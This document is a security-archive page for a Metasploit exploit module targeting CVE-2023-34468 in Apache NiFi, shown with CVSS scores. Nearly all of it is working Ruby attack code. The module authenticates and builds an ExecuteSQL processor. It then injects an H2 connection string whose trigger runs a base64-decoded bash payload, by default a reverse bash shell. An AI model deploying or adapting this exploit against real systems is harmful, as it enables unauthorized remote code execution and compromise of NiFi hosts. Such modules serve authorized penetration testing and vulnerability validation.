Lucene search

K
packetstormH00die, Matei Mal Badanoiu, metasploit.comPACKETSTORM:174398
HistoryAug 30, 2023 - 12:00 a.m.

Apache NiFi H2 Connection String Remote Code Execution

2023-08-3000:00:00
h00die, Matei Mal Badanoiu, metasploit.com
packetstormsecurity.com
138
metasploit
remote execution
apache nifi
dbcpconnectionpool
hikaricpconnectionpool
code execution
cve-2023-34468
apache
security vulnerability

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

6.5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:S/C:P/I:P/A:P

0.901 High

EPSS

Percentile

98.8%

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HTTP::Nifi  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Apache NiFi H2 Connection String Remote Code Execution',  
'Description' => %q{  
The DBCPConnectionPool and HikariCPConnectionPool Controller Services in  
Apache NiFi 0.0.2 through 1.21.0 allow an authenticated and authorized user  
to configure a Database URL with the H2 driver that enables custom code execution.  
  
This exploit will result in several shells (5-7).  
Successfully tested against Apache nifi 1.17.0 through 1.21.0.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'h00die', # msf module  
'Matei "Mal" Badanoiu' # discovery  
],  
'References' => [  
['CVE', '2023-34468'],  
['URL', 'https://lists.apache.org/thread/7b82l4f5blmpkfcynf3y6z4x1vqo59h8'],  
['URL', 'https://issues.apache.org/jira/browse/NIFI-11653'],  
['URL', 'https://nifi.apache.org/security.html#1.22.0'],  
# not many h2 references on the Internet, especially for nifi, so leaving this here  
# ['URL', 'https://gist.github.com/ijokarumawak/ed9085024eeeefbca19cfb2f20d23ed4#file-table_record_change_detection_example-xml-L65']  
# ['URL', 'http://www.h2database.com/html/features.html']  
],  
'DisclosureDate' => '2023-06-12',  
'DefaultOptions' => { 'RPORT' => 8443 },  
'Platform' => %w[unix],  
'Arch' => [ARCH_CMD],  
'Targets' => [  
[  
'Unix (In-Memory)',  
{  
'Type' => :unix_memory,  
'Payload' => { 'BadChars' => '"' },  
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }  
}  
],  
],  
'Privileged' => false,  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK]  
}  
)  
)  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The base path', '/']),  
OptInt.new('DELAY', [true, 'The delay (s) before stopping and deleting the processor', 30])  
],  
self.class  
)  
end  
  
def configure_dbconpool  
# our base64ed payload can't have = in it, so we'll pad out with spaces to remove them  
b64_pe = ::Base64.strict_encode64(payload.encoded)  
equals_count = b64_pe.count('=')  
if equals_count > 0  
b64_pe = ::Base64.strict_encode64(payload.encoded + ' ' * equals_count)  
end  
  
if @version > Rex::Version.new('1.16.0')  
# 1.17.0-1.21.0  
driver = '/opt/nifi/nifi-toolkit-current/lib/h2-2.1.214.jar'  
else  
# 1.16.0  
driver = '/opt/nifi/nifi-toolkit-current/lib/h2-2.1.210.jar'  
end  
  
body = {  
'disconnectedNodeAcknowledged' => false,  
'component' => {  
'id' => @db_con_pool,  
'name' => @db_con_pool_name,  
'bulletinLevel' => 'WARN',  
'comments' => '',  
'properties' => {  
# https://github.com/apache/nifi/pull/7349/files#diff-66ccc94a6b0dfa29817ded9c18e5a87c4fff9cd38eeedc3f121f6436ba53e6c0R38  
# we can use a random db name here, the file is created automatically  
# XXX would mem work too?  
'Database Connection URL' => "jdbc:h2:file:/tmp/#{Rex::Text.rand_text_alphanumeric(6..10)}.db;TRACE_LEVEL_SYSTEM_OUT=0\\;CREATE TRIGGER #{Rex::Text.rand_text_alpha_upper(6..12)} BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {echo,#{b64_pe}}|{base64,-d}|{bash,-i}')\n$$--=x",  
'Database Driver Class Name' => 'org.h2.Driver',  
# This seems to be installed by default, do we need the location?  
'database-driver-locations' => driver,  
"Max Total Connections": '1' # prevents us from getting multiple callbacks  
},  
'sensitiveDynamicPropertyNames' => []  
},  
'revision' => {  
'clientId' => 'x',  
'version' => 0  
}  
}  
opts = {  
'method' => 'PUT',  
'uri' => normalize_uri(target_uri.path, 'nifi-api', 'controller-services', @db_con_pool),  
'ctype' => 'application/json',  
'data' => body.to_json  
}  
opts['headers'] = { 'Authorization' => "Bearer #{@token}" } if @token  
res = send_request_cgi(opts)  
fail_with(Failure::Unreachable, 'No response received') if res.nil?  
fail_with(Failure::UnexpectedReply, "Unexpected HTTP response code received #{res.code}") unless res.code == 200  
end  
  
def configure_processor  
vprint_status("Configuring processor #{@processor}")  
body = {  
# "disconnectedNodeAcknowledged"=> false,  
'component' => {  
'id' => @processor,  
'name' => Rex::Text.rand_text_alphanumeric(6..10),  
'bulletinLevel' => 'WARN',  
'comments' => '',  
'config' => {  
'autoTerminatedRelationships' => ['failure', 'success'],  
'bulletinLevel' => 'WARN',  
'comments' => '',  
'concurrentlySchedulableTaskCount' => '1',  
'executionNode' => 'ALL',  
'penaltyDuration' => '30 sec',  
'retriedRelationships' => [],  
'schedulingPeriod' => '0 sec',  
'schedulingStrategy' => 'TIMER_DRIVEN',  
'yieldDuration' => '1 sec',  
'state' => 'STOPPED',  
'properties' => {  
'Database Connection Pooling Service' => @db_con_pool,  
'SQL select query' => 'SELECT H2VERSION() FROM DUAL;' # innocious get version query, field required to be non-blank  
}  
}  
},  
'revision' => {  
'clientId' => 'x',  
'version' => 1 # needs to be 1 since we had 0 before  
}  
}  
opts = {  
'method' => 'PUT',  
'uri' => normalize_uri(target_uri.path, 'nifi-api', 'processors', @processor),  
'ctype' => 'application/json',  
'data' => body.to_json  
}  
opts['headers'] = { 'Authorization' => "Bearer #{@token}" } if @token  
res = send_request_cgi(opts)  
fail_with(Failure::Unreachable, 'No response received') if res.nil?  
fail_with(Failure::UnexpectedReply, "Unexpected HTTP response code received #{res.code}") unless res.code == 200  
end  
  
def check  
# see apache_nifi_processor_rce check method for details on why this is difficult  
  
@cleanup_required = false  
  
login_type = supports_login?  
  
return CheckCode::Unknown('Unable to determine if logins are supported') if login_type.nil?  
  
if login_type  
@version = get_version  
return CheckCode::Unknown('Unable to determine Apache NiFi version') if @version.nil?  
  
if @version <= Rex::Version.new('1.21.0')  
return CheckCode::Appears("Apache NiFi instance supports logins and vulnerable version detected: #{@version}")  
end  
  
CheckCode::Safe("Apache NiFi instance supports logins but non-vulnerable version detected: #{@version}")  
else  
CheckCode::Appears('Apache NiFi instance does not support logins')  
end  
end  
  
def validate_config  
if datastore['BEARER-TOKEN'].to_s.empty? && datastore['USERNAME'].to_s.empty?  
fail_with(Failure::BadConfig,  
'Authentication is required. Bearer-Token or Username and Password must be specified')  
end  
end  
  
def cleanup  
super  
return unless @cleanup_required  
  
# Wait for thread to execute - This seems necesarry, especially on Windows  
# and there is no way I can see of checking whether the thread has executed  
print_status("Waiting #{datastore['DELAY']} seconds before stopping and deleting")  
sleep(datastore['DELAY'])  
  
# Stop Processor  
stop_processor(@token, @processor)  
vprint_good("Stopped and terminated processor #{@processor}")  
  
# Delete processor  
delete_processor(@token, @processor, 3)  
vprint_good("Deleted processor #{@processor}")  
begin  
stop_dbconnectionpool(@token, @db_con_pool)  
rescue DBConnectionPoolError  
fail_with(Failure::UnexpectedReply, 'Unable to stop DB Connection Pool. Manual cleanup is required')  
end  
vprint_good("Disabled db connection pool #{@db_con_pool}, sleeping #{datastore['DELAY']} seconds to allow the connection to finish disabling")  
sleep(datastore['DELAY'])  
begin  
delete_dbconnectionpool(@token, @db_con_pool)  
rescue DBConnectionPoolError  
fail_with(Failure::UnexpectedReply, 'Unable to delete DB Connection Pool. Manual cleanup is required')  
end  
vprint_good("Deleted db connection pool #{@db_con_pool}")  
end  
  
def exploit  
# Check whether login is required and set/fetch token  
if supports_login?  
validate_config  
@token = if datastore['BEARER-TOKEN'].to_s.empty?  
retrieve_login_token  
else  
datastore['BEARER-TOKEN']  
end  
fail_with(Failure::NoAccess, 'Invalid Credentials') if @token.nil?  
else  
@token = nil  
end  
  
if @version.nil?  
@version = get_version  
end  
  
# Retrieve root process group  
@process_group = fetch_root_process_group(@token)  
fail_with(Failure::UnexpectedReply, 'Unable to retrieve root process group') if @process_group.nil?  
vprint_good("Retrieved process group: #{@process_group}")  
  
@db_con_pool_name = Rex::Text.rand_text_alphanumeric(6..10)  
begin  
@db_con_pool = create_dbconnectionpool(@token, @db_con_pool_name, @process_group, @version)  
rescue DBConnectionPoolError  
fail_with(Failure::UnexpectedReply,  
'Unable to create DB Connection Pool. Manual review of HTTP packets will be required to debug failure.')  
end  
  
@cleanup_required = true  
  
# Create processor in root process group  
@processor = create_processor(@token, @process_group, 'org.apache.nifi.processors.standard.ExecuteSQL')  
vprint_good("Created processor #{@processor} in process group #{@process_group}")  
configure_processor  
vprint_good("Configured processor #{@processor}")  
configure_dbconpool  
vprint_good("Configured db connection pool #{@db_con_pool_name} (#{@db_con_pool})")  
begin  
start_dbconnectionpool(@token, @db_con_pool)  
rescue DBConnectionPoolError  
fail_with(Failure::UnexpectedReply,  
'Unable to start DB Connection Pool. Manual review of HTTP packets will be required to debug failure.')  
end  
vprint_good('Enabled db connection pool')  
begin  
start_processor(@token, @processor)  
rescue ProcessorError  
fail_with(Failure::UnexpectedReply,  
'Unable to start Processor. Manual review of HTTP packets will be required to debug failure.')  
end  
  
vprint_good('Started processor')  
end  
end  
`

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

6.5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:S/C:P/I:P/A:P

0.901 High

EPSS

Percentile

98.8%